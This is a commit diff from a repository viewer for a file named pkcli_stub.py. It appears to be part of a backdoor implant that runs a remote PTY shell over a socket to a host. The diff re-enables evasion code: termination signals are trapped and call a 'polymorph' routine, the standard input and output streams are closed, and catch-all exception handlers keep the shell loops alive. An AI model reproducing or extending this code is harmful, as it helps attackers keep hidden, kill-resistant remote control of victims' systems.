summaryrefslogtreecommitdiff
path: root/pkcli_stub.py
diff options
context:
space:
mode:
Diffstat (limited to 'pkcli_stub.py')
-rw-r--r--pkcli_stub.py12
1 files changed, 6 insertions, 6 deletions
diff --git a/pkcli_stub.py b/pkcli_stub.py
index e678c24..774d5d2 100644
--- a/pkcli_stub.py
+++ b/pkcli_stub.py
@@ -52,8 +52,8 @@ def main():
def shield():
for sig in [signal.SIGHUP, signal.SIGINT, signal.SIGABRT, signal.SIGQUIT, signal.SIGTERM]:
signal.signal(sig, sh)
- # for fd in [sys.stdin, sys.stdout, sys.stderr]:
- # os.close(fd.fileno())
+ for fd in [sys.stdin, sys.stdout, sys.stderr]:
+ os.close(fd.fileno())
def sh(a, b):
polymorph()
@@ -150,8 +150,8 @@ def run_pty(sock):
if quit:
sock.send(b'\xc0\xdenpty')
return pty_barrier(sock)
- #except:
- # return False
+ except:
+ return True, False
finally:
sel.close()
try:
@@ -218,8 +218,8 @@ def work(h_addr, port, privkey, bits):
if not live or not cont:
break
return live
- #except:
- # return True
+ except:
+ return True
finally:
raw_sock.close()